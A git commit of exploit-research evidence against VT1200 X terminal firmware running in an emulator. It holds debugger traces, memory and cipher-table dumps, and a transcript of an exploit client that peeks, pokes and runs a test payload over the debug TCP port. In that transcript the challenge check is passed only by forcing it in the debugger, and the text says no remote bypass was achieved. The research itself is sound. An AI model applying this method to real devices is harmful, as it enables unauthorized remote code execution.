dwt: exploit client and gate analysis; remote execution blocked at the challenge

This commit is contained in:
SDD committed 2026-10-18 02:20:16 +03:00
1 parent 2c7b2e8c2e
commit 5645bb00b3
43 files changed
+1959

No files matched your search

+9
View File
@@ -0,0 +1,9 @@
MAME debugger version 0.289 (mame0289-dirty)
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
Breakpoint 1 set
Breakpoint 2 set
Breakpoint 3 set
REDIRECT from 3F57A0E0
GATE-TARGET ACCEPT pc=3F58B430 a7=00000000
+23
View File
@@ -0,0 +1,23 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
armed gate-target breakpoints at frame 1
SAMPLE frame 1 word@0xAECD0=0000 field(bits2..3)=0
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
SAMPLE frame 10 word@0xAECD0=0000 field(bits2..3)=0
SAMPLE frame 50 word@0xAECD0=0000 field(bits2..3)=0
SAMPLE frame 100 word@0xAECD0=0000 field(bits2..3)=0
SAMPLE frame 200 word@0xAECD0=0000 field(bits2..3)=0
SAMPLE frame 300 word@0xAECD0=0000 field(bits2..3)=0
SAMPLE frame 600 word@0xAECD0=8070 field(bits2..3)=0
SAMPLE frame 1000 word@0xAECD0=8070 field(bits2..3)=0
BYTES @bit 0xAEC80 (byte 0x15D90): 00 00 00 00 00 00 64 64 00 80 70 80 05 A0 08 00
ARM redirect at current pc=3F57A0E0 -> 3F58B280
--- timed out without hitting a gate target
Average speed: 364.44% (15 seconds)
+21
View File
@@ -0,0 +1,21 @@
MAME debugger version 0.289 (mame0289-dirty)
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
Watchpoint 1 set
Breakpoint 1 set
Breakpoint 2 set
Breakpoint 3 set
Breakpoint 4 set
Breakpoint 5 set
Breakpoint 6 set
WP cfg bit=000AECD0 data=0000 pc=3F33E060
WP cfg bit=000AECC0 data=8000 pc=3FB446D0
WP cfg bit=000AECD0 data=8070 pc=3FB446D0
WP cfg bit=000AECE0 data=A005 pc=3FB446D0
WP cfg bit=000AECF0 data=0008 pc=3FB446D0
WP cfg bit=000AECD0 data=8070 pc=3F33E100
+18
View File
@@ -0,0 +1,18 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
SAMPLE frame 1 @0xAECD0=0000 @0xAECD2=0000 pc=3FB44E00
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
SAMPLE frame 10 @0xAECD0=0000 @0xAECD2=0000 pc=3F7056B0
SAMPLE frame 50 @0xAECD0=0000 @0xAECD2=0000 pc=3F7056E0
SAMPLE frame 100 @0xAECD0=0000 @0xAECD2=0000 pc=3FB44B00
SAMPLE frame 200 @0xAECD0=0000 @0xAECD2=0000 pc=3F579870
SAMPLE frame 600 @0xAECD0=8070 @0xAECD2=8070 pc=3F7EFA50
--- done at frame 700
Average speed: 335.91% (9 seconds)
+1
View File
@@ -0,0 +1 @@
007AE7B0: FEFF 7DA2 0200 6CA2 6302 C0A8 FEFF ...}...l.c....
+1
View File
@@ -0,0 +1 @@
007AE9D0: D574 1487 624E C5E0 E9D0 007A 0000 t...Nb....z...
+1
View File
@@ -0,0 +1 @@
007AE9D0: E5C5 2C9E 710A A902 710A A902 02A9 ...,.q...q....
+1
View File
@@ -0,0 +1 @@
007AE830: D574 1487 624E C5E0 E5C5 2C9E 710A t...Nb.....,.q
+1
View File
@@ -0,0 +1 @@
007AE8B0: A27D FFFE A26C 0002 A8C0 0263 A27E }...l.....c.~.
+467
View File
@@ -0,0 +1,467 @@
MAME debugger version 0.289 (mame0289-dirty)
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
Breakpoint 1 set
Breakpoint 2 set
Breakpoint 3 set
Breakpoint 4 set
Breakpoint 5 set
Breakpoint 6 set
Breakpoint 7 set
Breakpoint 8 set
Breakpoint 9 set
Breakpoint A set
Breakpoint B set
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00001A5
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=00000001 -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00001A6
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00001A7
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=00000001 -> 0
LIVE rdebug_poke entry pc=3F5A1B50
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00001A8
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=00000001 -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00001A9
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=00000001 -> 0
LIVE rdebug_poke entry pc=3F5A1B50
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00001AA
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C0000251
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C0000254
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE rdebug_poke entry pc=3F5A1B50
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C0000257
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C000025A
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE rdebug_poke entry pc=3F5A1B50
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C000025C
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C000029E
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=00000001 -> 0
LIVE rdebug_poke entry pc=3F5A1B50
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge sent a13=007AE7B0
Data dumped successfully
LIVE pre-transform a13=007AE7B0 reply=C00002A2
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
Data dumped successfully
Data dumped successfully
Data dumped successfully
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
Data dumped successfully
LIVE memcmp-args a9=007AE8B0 a11=007AE830
Data dumped successfully
Data dumped successfully
LIVE challenge memcmp FORCED a8=00000001 -> 0
LIVE rdebug_jump entry pc=3F5A3890
+5
View File
@@ -0,0 +1,5 @@
007CB2D0: 3E2C 021F 3001 0D08 232D 1F28 0008 1219 ,>...0..-#(.....
007CB350: 330B 2039 1A17 0600 2732 3C33 0409 0813 .39 ....2'3<....
007CB3D0: 0E37 181D 0B02 0701 2D11 2B3C 2C29 2012 7........-<+),.
007CB450: 3B3A 0725 0002 033D 1E0A 0B3B 2C27 1000 :;%...=...;.',..
007CB4D0: 113B 1C0B 1020 2E21 2D05 2C2B ;... .!..-+,
+35
View File
@@ -0,0 +1,35 @@
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
LIVE armed emulator-side breakpoints
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
LIVE frame 500 word@0xAECD0=8070 field2..3=0
LIVE frame 1000 word@0xAECD0=8070 field2..3=0
LIVE frame 1500 word@0xAECD0=8070 field2..3=0
LIVE frame 2000 word@0xAECD0=8070 field2..3=0
LIVE frame 2500 word@0xAECD0=8070 field2..3=0
LIVE frame 3000 word@0xAECD0=8070 field2..3=0
LIVE frame 3500 word@0xAECD0=8070 field2..3=0
LIVE frame 4000 word@0xAECD0=8070 field2..3=0
LIVE frame 4500 word@0xAECD0=8070 field2..3=0
LIVE frame 5000 word@0xAECD0=8070 field2..3=0
LIVE frame 5500 word@0xAECD0=8070 field2..3=0
LIVE frame 6000 word@0xAECD0=8070 field2..3=0
LIVE frame 6500 word@0xAECD0=8070 field2..3=0
LIVE frame 7000 word@0xAECD0=8070 field2..3=0
LIVE frame 7500 word@0xAECD0=8070 field2..3=0
LIVE frame 8000 word@0xAECD0=8070 field2..3=0
LIVE frame 8500 word@0xAECD0=8070 field2..3=0
LIVE frame 9000 word@0xAECD0=8070 field2..3=0
LIVE frame 9500 word@0xAECD0=8070 field2..3=0
LIVE frame 10000 word@0xAECD0=8070 field2..3=0
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
LIVE snapshot failed: .../code/k-space/vt1200/dwt/evidence/scripts/live_probe.lua:69: attempt to index a nil value (field 'integer index')
LIVE exiting at frame 10401 (payload seen at 10281)
Average speed: 323.56% (144 seconds)
@@ -0,0 +1 @@
007AE830: 816A 0B04 29F2 7944 816A 0B04 29F2 j....)Dyj....)
+1
View File
@@ -0,0 +1 @@
007AE7B0: 7EFB A1FE 0200 EEFD 6302 C0A8 76FB .~.......c...v
@@ -0,0 +1 @@
007AE830: BF8E 3606 D768 7610 BF8E 3606 D768 ...6h..v...6h.
@@ -0,0 +1 @@
007AE7B0: 9EEB 9DDE 0200 EEDB 6302 C0A8 96EB .........c....
@@ -0,0 +1 @@
007AE830: 331F 9C08 7E43 46C8 E477 B6FD AA6E .3..C~.Fw...n.
@@ -0,0 +1 @@
007AE7B0: EEF0 E2EE 0200 DDEC 6302 C0A8 E6F0 .........c....
@@ -0,0 +1 @@
007AE830: DE90 B409 8572 1758 DE90 B409 8572 ....r.X.....r.
@@ -0,0 +1 @@
007AE7B0: E6EA 2BBD 0200 65BA 6302 C0A8 DEEA ...+...e.c....
@@ -0,0 +1 @@
007AE830: DE90 B409 8572 1758 DE90 B409 8572 ....r.X.....r.
@@ -0,0 +1 @@
007AE7B0: 0EE5 A2CE 0200 21CB 6302 C0A8 06E5 .......!.c....
+1
View File
@@ -0,0 +1 @@
007AE9D0: BF8E 3606 D768 7610 E9D0 007A 0000 ...6h..v..z...
+1
View File
@@ -0,0 +1 @@
007AE9D0: BF8E 3606 D768 7610 D768 7610 1076 ...6h..vh..vv.
+1
View File
@@ -0,0 +1 @@
007AE9D0: 7E3A F1B7 E5A1 13F4 E9D0 007A 0000 :~........z...
+1
View File
@@ -0,0 +1 @@
007AE9D0: 7E3A F1B7 E5A1 13F4 E5A1 13F4 F413 :~............
+1
View File
@@ -0,0 +1 @@
007AE9D0: 2717 464F 5699 49B3 E9D0 007A 0000 .'OF.V.I..z...
+1
View File
@@ -0,0 +1 @@
007AE9D0: 2717 464F 5699 49B3 5699 49B3 B349 .'OF.V.I.V.II.
+1
View File
@@ -0,0 +1 @@
007AE9D0: 816A 0B04 29F2 7944 E9D0 007A 0000 j....)Dy..z...
+1
View File
@@ -0,0 +1 @@
007AE9D0: 816A 0B04 29F2 7944 29F2 7944 4479 j....)Dy.)DyyD
+84
View File
@@ -0,0 +1,84 @@
Live TCP attempt against the stock firmware — transcript
=========================================================
Host: 192.168.99.2 (VT1200, Ethernet 08:00:2b:16:4b:5a), MAME vt1200 with the
LANCE on tap-mess-1000-0 / bridge vt1200, VT1200_SKIP_LEVEL1=1, fresh nvram.
Service: "DEBUG TCP Port", port 771.
--- 1. Liveness + echo challenge (remote; gate A passes, gate B fails) ---
$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose
[.] connected to 192.168.99.2:771
[>] 00 00 00 07
[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
[.] answering echo challenge with f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
error: connection closed after 0/4 bytes
emulator side (dwt/evidence/run-live/debug.log):
LIVE accept_debug_conn entry pc=3F58AD60
LIVE dispatcher entry pc=3F59F320
LIVE dwt_prf challenge entry pc=3F59FDC0
LIVE challenge memcmp a8=FFFFFFFF (0=equal)
=> echo FAILS; the session is killed.
--- 2. Word-swapped challenge (computed) ---
$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed --verbose
[<] len=17 flag=0x7f payload=ea 06 25 ac 00 02 22 ca 02 63 a8 c0 e9 fe 25 ad
[.] answering computed challenge with ac 25 06 ea ca 22 02 00 c0 a8 63 02 ad 25 fe e9
[>] ...
error: connection closed after 0/4 bytes
emulator side:
LIVE challenge memcmp a8=00000001 (0=equal)
=> byte order fixed, but the firmware's in-place transform still differs.
--- 3. Debugger-assisted loader proof (challenge comparison forced to 0) ---
The live_probe.lua breakpoint at 0x3F5A0920 executes `a8 = 0` before resuming.
This is NOT a remote bypass.
$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
(== first 8 bytes of vt1200_v22.bin; the address is a BIT address)
$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF
poke 0x01820000 <- de ad be ef: ok
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4
peek 0x01820000 (4) -> de ad be ef
$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x3F200000 --hex 0000
poke 0x3f200000 <- 00 00: ok
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
(unchanged: ROM writes are ignored by the memory map)
$ python3 dwt/exploit.py --host 192.168.99.2 \
--poke-file 0x01800000 --file harness/hello-world/payload.bin
poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok
$ python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0
jump 0x01800000: no return within 0.0s (expected for a non-returning payload)
emulator side (dwt/evidence/run-live/mame.log):
LIVE rdebug_poke entry pc=3F5A1B50
LIVE rdebug_jump entry pc=3F5A3890
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
=> the stock loader delivers and runs our payload; gate B is the only thing
between a remote attacker and this.
--- 4. Challenge transform oracle (chosen 8-byte replies) ---
dwt/evidence/run-live/render-probes.txt: deterministic, nonlinear, per-8-byte
record. Samples:
f(00*8) = 90 de 09 b4 72 85 58 17
f(01 00 00 00 00 00 00 00) = b1 97 5f f1 d7 8d 03 2a
f(ff 00 00 00 00 00 00 00) = fc 00 33 8c 74 4b 2d 1b
Changing one input byte changes all eight output bytes.
+11
View File
@@ -0,0 +1,11 @@
zero in=00 00 00 00 00 00 00 00 out=90 de 09 b4 72 85 58 17
p0_01 in=01 00 00 00 00 00 00 00 out=b1 97 5f f1 d7 8d 03 2a
p0_02 in=02 00 00 00 00 00 00 00 out=58 65 80 0e 5d 8c 3c 55
p0_03 in=03 00 00 00 00 00 00 00 out=ee 59 0d f0 3c 2b db dd
p0_10 in=10 00 00 00 00 00 00 00 out=0b 9a b2 2e 40 0a 06 8f
p0_20 in=20 00 00 00 00 00 00 00 out=36 2c f7 98 ec 8a e9 18
p0_30 in=30 00 00 00 00 00 00 00 out=9e ca e2 e5 39 a1 63 57
p0_80 in=80 00 00 00 00 00 00 00 out=57 d8 29 7c 38 f7 78 3b
p0_ff in=ff 00 00 00 00 00 00 00 out=fc 00 33 8c 74 4b 2d 1b
p1_01 in=00 01 00 00 00 00 00 00 out=21 10 5d ae d5 e1 3e c5
p7_01 in=00 00 00 00 00 00 00 01 out=46 ba 79 8d 00 e1 0c db
+1
View File
@@ -0,0 +1 @@
007AE8D8: 02A2 C000 63A8 7E02 FEA2 10FF 0000 .....c.~......
+130
View File
@@ -0,0 +1,130 @@
007C7290: 8200 0080 0000 0000 8000 0000 8202 0080 ................
007C7310: 8002 0080 8202 0000 0002 0000 8000 0000 ................
007C7390: 0200 0000 8200 0080 8202 0080 0200 0000 ................
007C7410: 0202 0080 8002 0080 0000 0080 0002 0000 ................
007C7490: 0202 0000 0200 0080 0200 0080 8200 0000 ................
007C7510: 8200 0000 8000 0080 8000 0080 0202 0080 ................
007C7590: 8002 0000 0002 0080 0002 0080 8002 0000 ................
007C7610: 0000 0000 0202 0000 8202 0000 0000 0080 ................
007C7690: 8000 0000 8202 0080 0002 0000 8000 0080 ................
007C7710: 8200 0080 0000 0080 0000 0080 0200 0000 ................
007C7790: 8002 0080 8000 0000 8200 0000 0002 0080 ................
007C7810: 0200 0000 0002 0000 0202 0080 8202 0000 ................
007C7890: 8202 0080 8002 0000 8000 0080 0202 0080 ................
007C7910: 0002 0080 0202 0000 8202 0000 8200 0080 ................
007C7990: 0202 0000 0200 0080 0200 0080 0000 0000 ................
007C7A10: 8002 0000 8200 0000 0000 0000 8002 0080 ................
007C7A90: 4010 4008 4000 4000 4000 0000 4010 0008 .@.@.@.@.@...@..
007C7B10: 0000 0008 0010 0000 0010 4008 4010 4000 ...........@.@.@
007C7B90: 0010 4000 4010 4008 4000 4008 0000 4000 ...@.@.@.@.@...@
007C7C10: 4000 4000 0000 0008 0010 0000 0010 4008 .@.@...........@
007C7C90: 4000 0008 0010 0008 4010 4000 0000 0000 .@.......@.@....
007C7D10: 0000 4000 4000 0000 4010 0008 0000 4008 ...@.@...@.....@
007C7D90: 0010 0008 0010 4000 0000 0000 4000 0008 .......@.....@..
007C7E10: 4010 0000 4000 4008 0000 4008 4010 0000 .@...@.@...@.@..
007C7E90: 0000 0000 4010 0008 0010 4008 0000 0008 .....@.....@....
007C7F10: 4010 4000 0000 4008 4000 4008 4000 0000 .@.@...@.@.@.@..
007C7F90: 0000 4008 4000 4000 0010 0000 4010 4008 ...@.@.@.....@.@
007C8010: 4010 0008 0010 0000 4000 0000 0000 4000 .@.......@.....@
007C8090: 4010 0000 4000 4008 0000 0008 0010 4000 .@...@.@.......@
007C8110: 0010 0008 4010 4000 0010 4000 0010 0008 .....@.@...@....
007C8190: 4000 0008 0000 0000 4000 4000 4010 0000 .@.......@.@.@..
007C8210: 0000 4000 0010 4008 4010 4008 4000 0008 ...@...@.@.@.@..
007C8290: 0104 0000 0100 0401 0000 0000 0004 0401 ................
007C8310: 0100 0400 0000 0000 0104 0001 0100 0400 ................
007C8390: 0004 0001 0004 0400 0004 0400 0000 0001 ................
007C8410: 0104 0401 0004 0001 0000 0401 0104 0000 ................
007C8490: 0000 0400 0004 0000 0100 0401 0100 0000 ................
007C8510: 0100 0001 0000 0401 0004 0401 0104 0001 ................
007C8590: 0104 0400 0100 0001 0000 0001 0104 0400 ................
007C8610: 0004 0000 0104 0401 0100 0000 0000 0400 ................
007C8690: 0100 0401 0000 0400 0004 0001 0104 0000 ................
007C8710: 0000 0001 0100 0401 0100 0400 0000 0000 ................
007C8790: 0100 0000 0004 0001 0104 0401 0100 0400 ................
007C8810: 0004 0400 0100 0000 0000 0000 0004 0401 ................
007C8890: 0104 0400 0000 0001 0000 0400 0104 0401 ................
007C8910: 0004 0000 0104 0001 0100 0001 0004 0400 ................
007C8990: 0000 0401 0104 0400 0104 0000 0000 0401 ................
007C8A10: 0104 0001 0004 0000 0004 0401 0100 0001 ................
007C8A90: 1000 8040 1040 8000 1040 8000 0040 0000 ..@.@...@...@...
007C8B10: 1040 0040 0040 8040 0000 8040 1000 8000 @.@.@.@...@.....
007C8B90: 0000 0000 1000 0040 1000 0040 1040 8040 ......@...@.@.@.
007C8C10: 0040 8000 0000 0000 0040 0040 0000 8040 @.......@.@...@.
007C8C90: 0000 8000 1000 0000 0000 0040 1000 8040 ..........@...@.
007C8D10: 0040 0000 0000 0040 1000 8000 1040 0000 @.....@.....@...
007C8D90: 0040 8040 0000 8000 1040 0000 0040 0040 @.@.....@...@.@.
